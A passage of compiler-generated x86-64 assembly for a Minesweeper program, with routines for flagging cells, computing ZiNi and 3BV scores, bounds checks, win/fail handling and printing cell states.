pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
LBB18_1: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB18_7
## %bb.2: ## in Loop: Header=BB18_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
jne LBB18_5
## %bb.3: ## in Loop: Header=BB18_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB18_5
## %bb.4: ## in Loop: Header=BB18_1 Depth=1
movl -4(%rbp), %edi
callq _click
LBB18_5: ## in Loop: Header=BB18_1 Depth=1
jmp LBB18_6
LBB18_6: ## in Loop: Header=BB18_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB18_1
LBB18_7:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _flagaround ## -- Begin function flagaround
.p2align 4, 0x90
_flagaround: ## @flagaround
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -8(%rbp)
LBB19_1: ## =>This Loop Header: Depth=1
## Child Loop BB19_3 Depth 2
movl -8(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB19_10
## %bb.2: ## in Loop: Header=BB19_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -12(%rbp)
LBB19_3: ## Parent Loop BB19_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB19_8
## %bb.4: ## in Loop: Header=BB19_3 Depth=2
movl -12(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
addl -8(%rbp), %eax
movl %eax, -16(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -16(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
je LBB19_6
## %bb.5: ## in Loop: Header=BB19_3 Depth=2
movl -16(%rbp), %edi
callq _flag
LBB19_6: ## in Loop: Header=BB19_3 Depth=2
jmp LBB19_7
LBB19_7: ## in Loop: Header=BB19_3 Depth=2
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB19_3
LBB19_8: ## in Loop: Header=BB19_1 Depth=1
jmp LBB19_9
LBB19_9: ## in Loop: Header=BB19_1 Depth=1
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB19_1
LBB19_10:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _calc_zini ## -- Begin function calc_zini
.p2align 4, 0x90
_calc_zini: ## @calc_zini
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq _zini@GOTPCREL(%rip), %rax
movl $0, (%rax)
callq _restartboard
LBB20_1: ## =>This Loop Header: Depth=1
## Child Loop BB20_3 Depth 2
## Child Loop BB20_14 Depth 2
movq _closed_cells@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _m@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jle LBB20_24
## %bb.2: ## in Loop: Header=BB20_1 Depth=1
movl $-1, -8(%rbp)
movl $-1, -12(%rbp)
movl $0, -4(%rbp)
LBB20_3: ## Parent Loop BB20_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB20_9
## %bb.4: ## in Loop: Header=BB20_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 52(%rax), %eax
cmpl -8(%rbp), %eax
jle LBB20_7
## %bb.5: ## in Loop: Header=BB20_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB20_7
## %bb.6: ## in Loop: Header=BB20_3 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 52(%rax), %eax
movl %eax, -8(%rbp)
movl -4(%rbp), %eax
movl %eax, -12(%rbp)
LBB20_7: ## in Loop: Header=BB20_3 Depth=2
jmp LBB20_8
LBB20_8: ## in Loop: Header=BB20_3 Depth=2
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB20_3
LBB20_9: ## in Loop: Header=BB20_1 Depth=1
cmpl $-1, -12(%rbp)
je LBB20_13
## %bb.10: ## in Loop: Header=BB20_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB20_12
## %bb.11: ## in Loop: Header=BB20_1 Depth=1
movl -12(%rbp), %edi
callq _click
LBB20_12: ## in Loop: Header=BB20_1 Depth=1
movl -12(%rbp), %edi
callq _flagaround
movl -12(%rbp), %edi
callq _chord
jmp LBB20_23
LBB20_13: ## in Loop: Header=BB20_1 Depth=1
movl $0, -4(%rbp)
LBB20_14: ## Parent Loop BB20_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB20_22
## %bb.15: ## in Loop: Header=BB20_14 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB20_20
## %bb.16: ## in Loop: Header=BB20_14 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB20_20
## %bb.17: ## in Loop: Header=BB20_14 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
je LBB20_19
## %bb.18: ## in Loop: Header=BB20_14 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB20_20
LBB20_19: ## in Loop: Header=BB20_1 Depth=1
movl -4(%rbp), %eax
movl %eax, -12(%rbp)
jmp LBB20_22
LBB20_20: ## in Loop: Header=BB20_14 Depth=2
jmp LBB20_21
LBB20_21: ## in Loop: Header=BB20_14 Depth=2
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB20_14
LBB20_22: ## in Loop: Header=BB20_1 Depth=1
movl -12(%rbp), %edi
callq _click
LBB20_23: ## in Loop: Header=BB20_1 Depth=1
jmp LBB20_1
LBB20_24:
movq _zini@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _gzini@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movl $0, -4(%rbp)
LBB20_25: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB20_28
## %bb.26: ## in Loop: Header=BB20_25 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rcx
movslq -4(%rbp), %rax
imulq $56, %rax, %rax
addq %rax, %rcx
xorl %eax, %eax
subl 16(%rcx), %eax
subl $2, %eax
movl %eax, -24(%rbp) ## 4-byte Spill
movl -4(%rbp), %edi
callq _getadj3bv
movl -24(%rbp), %ecx ## 4-byte Reload
addl %eax, %ecx
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 52(%rax)
## %bb.27: ## in Loop: Header=BB20_25 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB20_25
LBB20_28:
movq _zini@GOTPCREL(%rip), %rax
movl $0, (%rax)
callq _restartboard
callq _hit_openings
LBB20_29: ## =>This Loop Header: Depth=1
## Child Loop BB20_31 Depth 2
## Child Loop BB20_43 Depth 2
movq _closed_cells@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _m@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jle LBB20_53
## %bb.30: ## in Loop: Header=BB20_29 Depth=1
movl $-1, -16(%rbp)
movl $-1, -20(%rbp)
movl $0, -4(%rbp)
LBB20_31: ## Parent Loop BB20_29 Depth=1
## => This Inner Loop Header: Depth=2
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB20_38
## %bb.32: ## in Loop: Header=BB20_31 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 52(%rax), %eax
cmpl -16(%rbp), %eax
jle LBB20_36
## %bb.33: ## in Loop: Header=BB20_31 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB20_36
## %bb.34: ## in Loop: Header=BB20_31 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
je LBB20_36
## %bb.35: ## in Loop: Header=BB20_31 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 52(%rax), %eax
movl %eax, -16(%rbp)
movl -4(%rbp), %eax
movl %eax, -20(%rbp)
LBB20_36: ## in Loop: Header=BB20_31 Depth=2
jmp LBB20_37
LBB20_37: ## in Loop: Header=BB20_31 Depth=2
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB20_31
LBB20_38: ## in Loop: Header=BB20_29 Depth=1
cmpl $-1, -20(%rbp)
je LBB20_42
## %bb.39: ## in Loop: Header=BB20_29 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -20(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB20_41
## %bb.40: ## in Loop: Header=BB20_29 Depth=1
movl -20(%rbp), %edi
callq _click
LBB20_41: ## in Loop: Header=BB20_29 Depth=1
movl -20(%rbp), %edi
callq _flagaround
movl -20(%rbp), %edi
callq _chord
jmp LBB20_52
LBB20_42: ## in Loop: Header=BB20_29 Depth=1
movl $0, -4(%rbp)
LBB20_43: ## Parent Loop BB20_29 Depth=1
## => This Inner Loop Header: Depth=2
movl -4(%rbp), %eax
movq _size@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB20_51
## %bb.44: ## in Loop: Header=BB20_43 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB20_49
## %bb.45: ## in Loop: Header=BB20_43 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, (%rax)
jne LBB20_49
## %bb.46: ## in Loop: Header=BB20_43 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 16(%rax)
je LBB20_48
## %bb.47: ## in Loop: Header=BB20_43 Depth=2
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -4(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
jne LBB20_49
LBB20_48: ## in Loop: Header=BB20_29 Depth=1
movl -4(%rbp), %eax
movl %eax, -20(%rbp)
jmp LBB20_51
LBB20_49: ## in Loop: Header=BB20_43 Depth=2
jmp LBB20_50
LBB20_50: ## in Loop: Header=BB20_43 Depth=2
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB20_43
LBB20_51: ## in Loop: Header=BB20_29 Depth=1
movl -20(%rbp), %edi
callq _click
LBB20_52: ## in Loop: Header=BB20_29 Depth=1
jmp LBB20_29
LBB20_53:
movq _zini@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _hzini@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
callq _restartboard
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _is_inside_board ## -- Begin function is_inside_board
.p2align 4, 0x90
_is_inside_board: ## @is_inside_board
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, -4(%rbp)
movb %al, -9(%rbp) ## 1-byte Spill
jl LBB21_4
## %bb.1:
movl -4(%rbp), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movq _w@GOTPCREL(%rip), %rdx
cmpl (%rdx), %ecx
movb %al, -9(%rbp) ## 1-byte Spill
jge LBB21_4
## %bb.2:
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $0, -8(%rbp)
movb %al, -9(%rbp) ## 1-byte Spill
jl LBB21_4
## %bb.3:
movl -8(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
setl %al
movb %al, -9(%rbp) ## 1-byte Spill
LBB21_4:
movb -9(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _push ## -- Begin function push
.p2align 4, 0x90
_push: ## @push
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
cmpl $0, _no_board_events(%rip)
je LBB22_2
## %bb.1:
jmp LBB22_8
LBB22_2:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB22_8
## %bb.3:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
jne LBB22_8
## %bb.4:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 48(%rax)
je LBB22_6
## %bb.5:
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.3(%rip), %rsi
movb $0, %al
callq _fprintf
jmp LBB22_7
LBB22_6:
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.4(%rip), %rsi
movb $0, %al
callq _fprintf
LBB22_7:
jmp LBB22_8
LBB22_8:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _push_around ## -- Begin function push_around
.p2align 4, 0x90
_push_around: ## @push_around
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -12(%rbp)
LBB23_1: ## =>This Loop Header: Depth=1
## Child Loop BB23_3 Depth 2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB23_8
## %bb.2: ## in Loop: Header=BB23_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -16(%rbp)
LBB23_3: ## Parent Loop BB23_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB23_6
## %bb.4: ## in Loop: Header=BB23_3 Depth=2
movl -16(%rbp), %edi
movl -12(%rbp), %esi
callq _push
## %bb.5: ## in Loop: Header=BB23_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB23_3
LBB23_6: ## in Loop: Header=BB23_1 Depth=1
jmp LBB23_7
LBB23_7: ## in Loop: Header=BB23_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB23_1
LBB23_8:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _pop ## -- Begin function pop
.p2align 4, 0x90
_pop: ## @pop
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 36(%rax)
jne LBB24_6
## %bb.1:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 40(%rax)
jne LBB24_6
## %bb.2:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 48(%rax)
je LBB24_4
## %bb.3:
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.5(%rip), %rsi
movb $0, %al
callq _fprintf
jmp LBB24_5
LBB24_4:
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movl -4(%rbp), %edx
addl $1, %edx
movl -8(%rbp), %ecx
addl $1, %ecx
leaq L_.str.6(%rip), %rsi
movb $0, %al
callq _fprintf
LBB24_5:
jmp LBB24_6
LBB24_6:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _pop_around ## -- Begin function pop_around
.p2align 4, 0x90
_pop_around: ## @pop_around
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 20(%rax), %eax
movl %eax, -12(%rbp)
LBB25_1: ## =>This Loop Header: Depth=1
## Child Loop BB25_3 Depth 2
movl -12(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 24(%rcx), %eax
jg LBB25_8
## %bb.2: ## in Loop: Header=BB25_1 Depth=1
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl -4(%rbp), %ecx
movq _h@GOTPCREL(%rip), %rdx
imull (%rdx), %ecx
addl -8(%rbp), %ecx
movslq %ecx, %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 28(%rax), %eax
movl %eax, -16(%rbp)
LBB25_3: ## Parent Loop BB25_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
movq _board@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movl -4(%rbp), %edx
movq _h@GOTPCREL(%rip), %rsi
imull (%rsi), %edx
addl -8(%rbp), %edx
movslq %edx, %rdx
imulq $56, %rdx, %rdx
addq %rdx, %rcx
cmpl 32(%rcx), %eax
jg LBB25_6
## %bb.4: ## in Loop: Header=BB25_3 Depth=2
movl -16(%rbp), %edi
movl -12(%rbp), %esi
callq _pop
## %bb.5: ## in Loop: Header=BB25_3 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB25_3
LBB25_6: ## in Loop: Header=BB25_1 Depth=1
jmp LBB25_7
LBB25_7: ## in Loop: Header=BB25_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB25_1
LBB25_8:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _win ## -- Begin function win
.p2align 4, 0x90
_win: ## @win
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _cur_time@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, _end_time(%rip)
movl $1, _won(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal4,4byte_literals
.p2align 2 ## -- Begin function check_win
LCPI27_0:
.long 0x461c4000 ## float 1.0E+4
.section __TEXT,__text,regular,pure_instructions
.globl _check_win
.p2align 4, 0x90
_check_win: ## @check_win
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _cur_time@GOTPCREL(%rip), %rax
imull $10, (%rax), %eax
movl %eax, -4(%rbp)
cvtsi2ssl -4(%rbp), %xmm0
movss LCPI27_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero
divss %xmm1, %xmm0
movss %xmm0, -8(%rbp)
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq _bbbv@GOTPCREL(%rip), %rax
movl (%rax), %ecx
leaq L_.str.7(%rip), %rsi
movb $1, %al
callq _fprintf
movq _bbbv@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq _solved_bbbv@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jne LBB27_2
## %bb.1:
callq _win
LBB27_2:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _fail ## -- Begin function fail
.p2align 4, 0x90
_fail: ## @fail
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _cur_time@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, _end_time(%rip)
movl $0, _won(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _show ## -- Begin function show
.p2align 4, 0x90
_show: ## @show
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl -4(%rbp), %eax
movq _h@GOTPCREL(%rip), %rcx
imull (%rcx), %eax
addl -8(%rbp), %eax
movl %eax, -12(%rbp)
movq _output@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl 16(%rax), %edx
movl -4(%rbp), %ecx
addl $1, %ecx
movl -8(%rbp), %r8d
addl $1, %r8d
leaq L_.str.8(%rip), %rsi
movb $0, %al
callq _fprintf
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movl $1, 36(%rax)
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 4(%rax)
je LBB29_4
## %bb.1:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movslq 4(%rax), %rdx
movq _size_ops@GOTPCREL(%rip), %rax
movl (%rax,%rdx,4), %eax
addl $-1, %eax
movq _size_ops@GOTPCREL(%rip), %rcx
movl %eax, (%rcx,%rdx,4)
cmpl $0, %eax
jne LBB29_3
## %bb.2:
movq _solved_ops@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _solved_ops@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB29_3:
jmp LBB29_4
LBB29_4:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
cmpl $0, 8(%rax)
je LBB29_8
## %bb.5:
movq _board@GOTPCREL(%rip), %rax
movq (%rax), %rax
movslq -12(%rbp), %rcx
imulq $56, %rcx, %rcx
addq %rcx, %rax
movslq 8(%rax), %rdx
movq _size_ops@GOTPCREL(%rip), %rax
movl (%rax,%rdx,4), %eax
addl $-1, %eax
movq _size_ops@GOTPCREL(%rip), %rcx
movl %eax, (%rcx,%rdx,4)
cmpl $0, %eax
jne LBB29_7
## %bb.6:
movq _solved_ops@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _solved_ops@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl (%rax), %ecx
addl $1, %ecx
movq _solved_bbbv@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB29_7:
